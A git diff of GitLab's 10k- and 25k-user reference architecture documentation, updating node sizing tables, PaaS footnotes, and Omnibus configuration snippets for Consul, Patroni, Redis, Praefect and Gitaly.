to `/-/grafana` to `http[s]://<MONITOR NODE>/-/grafana` @@ -2395,35 +2385,46 @@ time use Google Cloud’s Kubernetes Engine (GKE) and associated machine types, and CPU requirements should translate to most other providers. We hope to update this in the future with further specific cloud provider details. -| Service | Nodes | Configuration | GCP | Allocatable CPUs and Memory | -|-------------------------------------------------------|-------|-------------------------|------------------|-----------------------------| -| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-standard-32` | 127.5 vCPU, 118 GB memory | -| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory | -| Supporting services such as NGINX, Prometheus, etc... | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory | +| Service | Nodes(1) | Configuration | GCP | Allocatable CPUs and Memory | +|-------------------------------------------------------|----------|-------------------------|------------------|-----------------------------| +| Webservice | 4 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | 127.5 vCPU, 118 GB memory | +| Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | 15.5 vCPU, 50 GB memory | +| Supporting services such as NGINX, Prometheus, etc. | 2 | 4 vCPU, 15 GB memory | `n1-standard-4` | 7.75 vCPU, 25 GB memory | + +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Nodes configuration is shown as it is forced to ensure pod vcpu / memory ratios and avoid scaling during **performance testing**. + In production deployments there is no need to assign pods to nodes. A minimum of three nodes in three different availability zones is strongly recommended to align with resilient cloud architecture practices. +<!-- markdownlint-enable MD029 --> Next are the backend components that run on static compute VMs via Omnibus (or External PaaS services where applicable): | Service | Nodes | Configuration | GCP | |--------------------------------------------|-------|-------------------------|------------------| -| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | -| PostgreSQL* | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | -| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | -| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | -| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | -| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | +| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| PostgreSQL(1) | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | +| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | +| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | +| Redis Sentinel - Queues / Shared State(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | | Gitaly | 3 | 16 vCPU, 60 GB memory | `n1-standard-16` | | Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | -| Object storage | n/a | n/a | n/a | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | +| Object storage(4) | n/a | n/a | n/a | + +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 10k diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md index 129386d6ce5..1f72c45c2b7 100644 --- a/doc/administration/reference_architectures/25k_users.md +++ b/doc/administration/reference_architectures/25k_users.md @@ -17,29 +17,34 @@ full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |------------------------------------------|-------------|-------------------------|------------------|--------------|-----------| -| External load balancing node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Consul* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 3 | 16 vCPU, 60 GB memory | `n1-standard-1` | `m5.4xlarge` | `D16s v3` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` | `c5.large` | `F2s v2` | -| Redis - Cache** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis - Queues / Shared State** | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | -| Redis Sentinel - Cache** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | -| Redis Sentinel - Queues / Shared State** | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| External load balancing node(3) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +| Consul(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 3 | 16 vCPU, 60 GB memory | `n1-standard-1` | `m5.4xlarge` | `D16s v3` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node(3) | 1 | 4 vCPU, 3.6GB memory | `n1-highcpu-4` | `c5.large` | `F2s v2` | +| Redis - Cache(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis - Queues / Shared State(2) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | +| Redis Sentinel - Cache(2) | 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | +| Redis Sentinel - Queues / Shared State(2)| 3 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `c5.large` | `A1 v2` | | Gitaly | 3 | 32 vCPU, 120 GB memory | `n1-standard-32` | `m5.8xlarge` | `D32s v3` | | Praefect | 3 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Sidekiq | 4 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | | GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | `n1-highcpu-32` | `c5.9xlarge` | `F32s v2` | | Monitoring node | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +| Object storage(4) | n/a | n/a | n/a | n/a | n/a | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | + +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 25k @@ -157,7 +162,7 @@ To set up GitLab and its components to accommodate up to 25,000 users: provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -413,11 +418,6 @@ The following IPs will be used as an example: - `10.6.0.12`: Consul 2 - `10.6.0.13`: Consul 3 -NOTE: -The configuration processes for the other servers in your reference architecture will -use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect -with the other servers. - To configure Consul: 1. SSH in to the server that will host Consul. @@ -428,10 +428,9 @@ To configure Consul: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['consul_role'] + roles(['consul_role']) ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -448,7 +447,11 @@ To configure Consul: gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul nodes, and make sure you set up the correct IPs. @@ -540,6 +543,15 @@ in the second step, do not supply the `EXTERNAL_URL` value. sudo gitlab-ctl pg-password-md5 pgbouncer ``` +1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default + username of `gitlab_replicator` (recommended). The command will request a password + and a confirmation. Use the value that is output by this command in the next step + as the value of `<postgresql_replication_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 gitlab_replicator + ``` + 1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default username of `gitlab-consul` (recommended). The command will request a password and confirmation. Use the value that is output by this command in the next @@ -552,19 +564,21 @@ in the second step, do not supply the `EXTERNAL_URL` value. 1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: ```ruby - # Disable all components except PostgreSQL, Patroni, and Consul - roles ['postgres_role'] + # Disable all components except Patroni and Consul + roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' - # Enable Patroni - patroni['enable'] = true - # Set `max_wal_senders` to one more than the number of database nodes in the cluster. + # Sets `max_replication_slots` to double the number of database nodes. + # Patroni uses one extra slot per node when initiating the replication. + patroni['postgresql']['max_replication_slots'] = 8 + + # Set `max_wal_senders` to one more than the number of replication slots in the cluster. # This is used to prevent replication from using up all of the # available database connections. - patroni['postgresql']['max_wal_senders'] = 4 - patroni['postgresql']['max_replication_slots'] = 4 + patroni['postgresql']['max_wal_senders'] = 9 + # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 @@ -572,7 +586,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true consul['services'] = %w(postgresql) ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -582,6 +595,8 @@ in the second step, do not supply the `EXTERNAL_URL` value. # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>' + # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value + postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = '<postgresql_password_hash>' @@ -605,9 +620,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` Like most failover handling methods, this has a small chance of leading to data loss. Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -622,21 +636,7 @@ are supported and can be added if needed. #### PostgreSQL post-configuration -SSH in to the **primary node**: - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Make sure the `pg_trgm` extension is enabled (it might already be): - - ```shell - CREATE EXTENSION pg_trgm; - ``` - -1. Exit the database prompt by typing `\q` and Enter. +SSH in to any of the Patroni nodes on the **primary site**: 1. Check the status of the leader and cluster: @@ -678,7 +678,7 @@ The following IPs will be used as an example: ```ruby # Disable all components except Pgbouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -695,7 +695,6 @@ The following IPs will be used as an example: # Configure Consul agent consul['watchers'] = %w(postgresql) - consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -707,9 +706,8 @@ The following IPs will be used as an example: node_exporter['listen_address'] = '0.0.0.0:9100' ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -828,8 +826,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role'] # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -851,7 +849,6 @@ a node and change its status from primary to replica (and vice versa). redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -863,19 +860,22 @@ a node and change its status from primary to replica (and vice versa). # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.51:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). #### Configure the replica Redis Cache nodes @@ -888,8 +888,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role'] # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -918,7 +918,6 @@ You can specify multiple roles, like sentinel and Redis, as: redis['maxmemory_samples'] = 5 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -930,21 +929,25 @@ You can specify multiple roles, like sentinel and Redis, as: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.52:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -986,7 +989,7 @@ To configure the Sentinel Cache server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-cache' @@ -1050,7 +1053,6 @@ To configure the Sentinel Cache server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1067,11 +1069,11 @@ To configure the Sentinel Cache server: gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul/Sentinel nodes, and make sure you set up the correct IPs. @@ -1099,8 +1101,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1116,7 +1118,6 @@ a node and change its status from primary to replica (and vice versa). redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER' ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1133,14 +1134,13 @@ a node and change its status from primary to replica (and vice versa). gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). #### Configure the replica Redis Queues nodes @@ -1153,8 +1153,8 @@ You can specify multiple roles, like sentinel and Redis, as: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -1177,7 +1177,6 @@ You can specify multiple roles, like sentinel and Redis, as: #redis['master_port'] = 6379 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1189,21 +1188,25 @@ You can specify multiple roles, like sentinel and Redis, as: # Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' redis_exporter['listen_address'] = '0.0.0.0:9121' + redis_exporter['flags'] = { + 'redis.addr' => 'redis://10.6.0.62:6379', + 'redis.password' => 'redis-password-goes-here', + } # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -1245,7 +1248,7 @@ To configure the Sentinel Queues server: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role'] + roles(['redis_sentinel_role', 'consul_role']) ## Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis-persistent' @@ -1309,7 +1312,6 @@ To configure the Sentinel Queues server: #sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -1326,7 +1328,10 @@ To configure the Sentinel Queues server: gitlab_rails['auto_migrate'] = false ``` -1. To prevent database migrations from running on upgrade, run: +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell sudo touch /etc/gitlab/skip-auto-reconfigure @@ -1334,11 +1339,8 @@ To configure the Sentinel Queues server: Only the primary GitLab application server should handle migrations. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. - 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Sentinel nodes, and make sure you set up the correct IPs. @@ -1399,9 +1401,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. ```ruby # Disable all components except PostgreSQL and Consul - roles ['postgres_role'] - repmgr['enable'] = false - patroni['enable'] = false + roles(['postgres_role', 'consul_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -1411,7 +1411,6 @@ in the second step, do not supply the `EXTERNAL_URL` value. gitlab_rails['auto_migrate'] = false # Configure the Consul agent - consul['enable'] = true ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -1437,7 +1436,11 @@ in the second step, do not supply the `EXTERNAL_URL` value. # END user configuration ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Follow the [post configuration](#praefect-postgresql-post-configuration). <div align="right"> @@ -1535,19 +1538,18 @@ To configure the Praefect nodes, on each one: 1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect: ```ruby - # Avoid running unnecessary services on the Gitaly server + # Avoid running unnecessary services on the Praefect server + gitaly['enable'] = false postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Praefect Configuration praefect['enable'] = true @@ -1585,19 +1587,20 @@ To configure the Praefect nodes, on each one: # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://10.6.0.91:8075', - 'token' => '<praefect_internal_token>', - 'primary' => true - }, - 'gitaly-2' => { - 'address' => 'tcp://10.6.0.92:8075', - 'token' => '<praefect_internal_token>' - }, - 'gitaly-3' => { - 'address' => 'tcp://10.6.0.93:8075', - 'token' => '<praefect_internal_token>' - }, + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://10.6.0.91:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-2' => { + 'address' => 'tcp://10.6.0.92:8075', + 'token' => '<praefect_internal_token>' + }, + 'gitaly-3' => { + 'address' => 'tcp://10.6.0.93:8075', + 'token' => '<praefect_internal_token>' + }, + } } } @@ -1614,11 +1617,25 @@ To configure the Praefect nodes, on each one: # END user configuration ``` - 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace +the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. Praefect requires to run some database migrations, much like the main GitLab application. For this + you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node + must be configured first before the others as follows: + + 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true` + + 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: - 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and + to run the Praefect database migrations. + +1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### Configure Gitaly @@ -1662,21 +1679,17 @@ On each node: storage paths, enable the network listener, and to configure the token: ```ruby - # /etc/gitlab/gitlab.rb - # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false @@ -1684,9 +1697,11 @@ On each node: # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' + # Gitaly + gitaly['enable'] = true + # Make Gitaly accept connections on all network interfaces. You must use # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections @@ -1728,9 +1743,8 @@ On each node: }) 